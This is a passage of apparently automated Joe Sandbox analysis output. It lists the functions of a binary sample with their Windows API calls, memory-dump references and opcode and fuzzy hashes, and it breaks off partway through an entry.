Instruction Fuzzy Hash: A3116D32A0AA4281E700EF28E8415BAF370FB84B84FD54535EA5D03679EF3DE985C720

Function 00007FF7AB4B946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4ADFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF7AB4ADDDF

OleInitialize.OLE32 ref: 00007FF7AB4B9486
SHGetMalloc.SHELL32 ref: 00007FF7AB4B94D4

Strings

riched20.dll, xrefs: 00007FF7AB4B9475

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 0d85db053d286d1bd0fa19ead2840fc3f5149c6ee0f027e6ed6c33eb2c824e37
Instruction ID: d90bf9cc5dccc0065b30eef883d22218939b5d214635d20da867187ee4977aa5
Opcode Fuzzy Hash: 0d85db053d286d1bd0fa19ead2840fc3f5149c6ee0f027e6ed6c33eb2c824e37
Instruction Fuzzy Hash: 6DF04F7261AA8182EB41AF28F4141AEF3A0FB88B54FC10135EA8D42775DFBCE159CB10

Function 00007FF7AB4B095C Relevance: 4.7, APIs: 3, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4B853C: GlobalMemoryStatusEx.KERNEL32 ref: 00007FF7AB4B856C

Part of subcall function 00007FF7AB4AAAE0: LoadStringW.USER32 ref: 00007FF7AB4AAB67
Part of subcall function 00007FF7AB4AAAE0: LoadStringW.USER32 ref: 00007FF7AB4AAB80

Part of subcall function 00007FF7AB491FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB491FFB

Part of subcall function 00007FF7AB49129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB491396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C01BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C01C1
SendDlgItemMessageW.USER32 ref: 00007FF7AB4C01F2

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString$Concurrency::cancel_current_taskGlobalItemMemoryMessageSendStatus
String ID:
API String ID: 3106221260-0
Opcode ID: f59522d12ea67105d58c7d38a79467439e8b2bca94c98ae11b85d9bfed72e7d6
Instruction ID: 70a2b82c07edc594dc6ae973322e39a86513d32df0bc90c420bbdafaca37c755
Opcode Fuzzy Hash: f59522d12ea67105d58c7d38a79467439e8b2bca94c98ae11b85d9bfed72e7d6
Instruction Fuzzy Hash: 6451A462F0674256FB10BBB9D4452FDA362AB89B84F824135DE1D577FADE2CE500C360

Function 00007FF7AB4B9F4C Relevance: 4.6, APIs: 3, Instructions: 146COMMON

Download Yara Rule

APIs

SHFileOperationW.SHELL32 ref: 00007FF7AB4BA118
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA184
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BA18A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileOperation
String ID:
API String ID: 2032784890-0
Opcode ID: 425ddadb74c4bc10119aa1baa60ba7c5a4f73d54acf5c20dfc24dcb126184bbf
Instruction ID: a29ce49b36518db5dd373132497f5330fbf6821e10ae1e81da7f5bca2bee1d3c
Opcode Fuzzy Hash: 425ddadb74c4bc10119aa1baa60ba7c5a4f73d54acf5c20dfc24dcb126184bbf
Instruction Fuzzy Hash: A8616D32A16B8199EB00EF78D8942BC7361EB45B98F824635DA1C13BBADF39E555C310

Function 00007FF7AB4A2134 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF7AB4A21CF
CreateFileW.KERNEL32 ref: 00007FF7AB4A223C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A22D8

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 4ce248ffffd21e537046429b603db88a9fd2a3d13b10b45fb751dcef003d6319
Instruction ID: 299486cc97623048a772680c6ca3a22b68ffd047e86efb36881e477981518444
Opcode Fuzzy Hash: 4ce248ffffd21e537046429b603db88a9fd2a3d13b10b45fb751dcef003d6319
Instruction Fuzzy Hash: 3941C573A0978182EB109B19E444279A7A1FB85BB4F915734DFAD03AF5CF3CD4908710

Function 00007FF7AB4923F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF7AB49243E
GetWindowTextW.USER32 ref: 00007FF7AB492476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB492505

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 324ad9725680782466c8b9226039195d64c3332d7d8035b24254b52cca95445d
Instruction ID: 987bebae0985bc52745ff27f3924eb2b3f0fbf5dcb64b726f96fbcf5cbc33107
Opcode Fuzzy Hash: 324ad9725680782466c8b9226039195d64c3332d7d8035b24254b52cca95445d
Instruction Fuzzy Hash: 92219362A19B8181EA10AB69A44057AA364FB89BD0F554235EB9D03BB5DF3CD1408740

Function 00007FF7AB4B1F94 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AB4B205B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AB4B2077
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AB4B2093

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 473e069831e40b03067e3ac07c55198f41caec4ce5e3ab4939735fa524c57bef
Instruction ID: 82af6fc0fa6c7323aaa990493cf668d044a59dba331ec81a1f7ce4189a737b13
Opcode Fuzzy Hash: 473e069831e40b03067e3ac07c55198f41caec4ce5e3ab4939735fa524c57bef
Instruction Fuzzy Hash: 2B31D322A0A68692FF24BB6CE4443B9E7A0FB44B84F954031D34C066F9DF7CE956C311

Function 00007FF7AB4A3D34 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,00000000,00000001,?,00007FF7AB4B07E1), ref: 00007FF7AB4A3D5E
SetFileAttributesW.KERNEL32 ref: 00007FF7AB4A3DB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A3E1A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 523e4a483c86c9ac9ee543cf6c476d9bf2e9d6353514affc3e0f4067b8c7bc61
Instruction ID: fcfe23a445d47e655f5cd04f83e2fcdc8ef0f6318a8663e415b19bc4c07e9f46
Opcode Fuzzy Hash: 523e4a483c86c9ac9ee543cf6c476d9bf2e9d6353514affc3e0f4067b8c7bc61
Instruction Fuzzy Hash: 2121DA22B1A78181FA20AF2DE44527EA361FF89B94F925234EE9D476F5EF3CD540C610

Function 00007FF7AB4A31BC Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF7AB4B0822), ref: 00007FF7AB4A31E7
DeleteFileW.KERNEL32 ref: 00007FF7AB4A3237
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A32A1

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 9e0f12d03b62ccef14e62e4bf3878a3457daa81ed2db8d115c48a0739d4b379d
Instruction ID: 971cd316e9af5d9f1531140fdfb539f2432f5b096b0e2bd954f48da5fe332379
Opcode Fuzzy Hash: 9e0f12d03b62ccef14e62e4bf3878a3457daa81ed2db8d115c48a0739d4b379d
Instruction Fuzzy Hash: CA21B632A1A78181EA10AB29E45426EA360FF89B94F915234EA9D42AB9EF3CD140C750

Function 00007FF7AB4A32BC Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00007FF7AB4AE5B1,?,?,?,00000000,?), ref: 00007FF7AB4A32E7
GetFileAttributesW.KERNELBASE ref: 00007FF7AB4A3334
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A3399

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: d981565e32c06465bb9ca9e6032df0ff87469bcd01ee0110978b6e45bf249536
Instruction ID: 218d68eabbcd6a5d8665d1de3c39a6ca1d51a350c605576c97e722e6806af2b7
Opcode Fuzzy Hash: d981565e32c06465bb9ca9e6032df0ff87469bcd01ee0110978b6e45bf249536
Instruction Fuzzy Hash: 8C218372A1978182EA10EB2DF444229E361FBC9BA4F910235EA9D43BF5DF3CD540C710

Function 00007FF7AB4CBF64 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7AB4CBF48), ref: 00007FF7AB4CBF8C
TerminateProcess.KERNEL32(?,?,?,00007FF7AB4CBF48), ref: 00007FF7AB4CBF97
ExitProcess.KERNEL32 ref: 00007FF7AB4CBFA6

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction ID: 2e7ce19cfc89def169cd01d8998475052b2ce6f656da0c86bbe57b37c8643daf
Opcode Fuzzy Hash: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction Fuzzy Hash: 77E04F24F0630A46EB947B3A9895379A3526F89B46F924438C80E433B6CE3EE40D8730

Function 00007FF7AB49F578 Relevance: 3.2, APIs: 2, Instructions: 193COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F895
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49F89B

Part of subcall function 00007FF7AB4A3EC8: FindClose.KERNELBASE(?,?,00000000,00007FF7AB4B0811), ref: 00007FF7AB4A3EFD

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 23f630cba899342486ec3d5de318505faaaca4e13abb6a95497164dac5ca7356
Instruction ID: 77f542f4eb584eb4bcaff6a11109c9aa25eb84d770620a0ee0cca40d41449fb0
Opcode Fuzzy Hash: 23f630cba899342486ec3d5de318505faaaca4e13abb6a95497164dac5ca7356
Instruction Fuzzy Hash: F391A072A1AB8190EB10EF38D8445ADA361FB85B98FD14135FA5C07AF9DF78E545C320

Function 00007FF7AB493904 Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB493AB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB493AB9

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 402f2d810e1efc6a759daaa5297bed4678b331cbcfb426b8061d29b6a9ebee63
Instruction ID: 819e70a0d97554ac737eb871f90ac3edf5a8caed3133aa3ea66cbe6065f2565c
Opcode Fuzzy Hash: 402f2d810e1efc6a759daaa5297bed4678b331cbcfb426b8061d29b6a9ebee63
Instruction Fuzzy Hash: DA41E322F1665184FB00EBB9D4406BDA331AF46BD8F954135EE1D27BFADE38D4828310

Function 00007FF7AB4A2778 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,00000F99,?,00007FF7AB4A274D), ref: 00007FF7AB4A28A9
GetLastError.KERNEL32(?,00007FF7AB4A274D), ref: 00007FF7AB4A28B8

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction ID: 1a80079d0e42896ee03a24cb5df68158e999c32ecdc27f40163319588bcc8b1b
Opcode Fuzzy Hash: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction Fuzzy Hash: CC31EA32B1B95282FE606B2ED540675E390AF04BD4F960239EE1D077B4DE3CE541A760

Function 00007FF7AB4922BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7AB4922F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4923F0

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 8763c555b957396376e96df864685bb2527d49eefc22d4d720e740779d29c564
Instruction ID: 7f458c9be0113581fc735069f25bc6792e150deb18d9df8a4cea2af6000051b3
Opcode Fuzzy Hash: 8763c555b957396376e96df864685bb2527d49eefc22d4d720e740779d29c564
Instruction Fuzzy Hash: D231A122A1A74582EA20AB39E4457BAF360EB85B90F854231EA9C07BB5DF3CE5408710

Function 00007FF7AB4A2AD0 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF7AB4A2AFE
SetFileTime.KERNELBASE ref: 00007FF7AB4A2B9B

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction ID: bdebe76beced6162269273d6833ddcb257996cfe7d2c9e4c07af8b754edf7769
Opcode Fuzzy Hash: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction Fuzzy Hash: 1921F122F0FB42A6FA62AE19D4003BAD790AF01794F964039DF4C062F5EE3CD486D320

Function 00007FF7AB4AAAE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7AB4AAB67
LoadStringW.USER32 ref: 00007FF7AB4AAB80

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction ID: 4ee6fd2c1ea2bfdad2798521425080140d643e44eaf03e5b14cf5c8353dfc77d
Opcode Fuzzy Hash: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction Fuzzy Hash: F2118E72B0A74185EA00AF2EA840428FBA1BB88FC0F968439CA0D93730EE7CF5518754

Function 00007FF7AB4A2BB0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF7AB4A2C11
GetLastError.KERNEL32 ref: 00007FF7AB4A2C1E

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
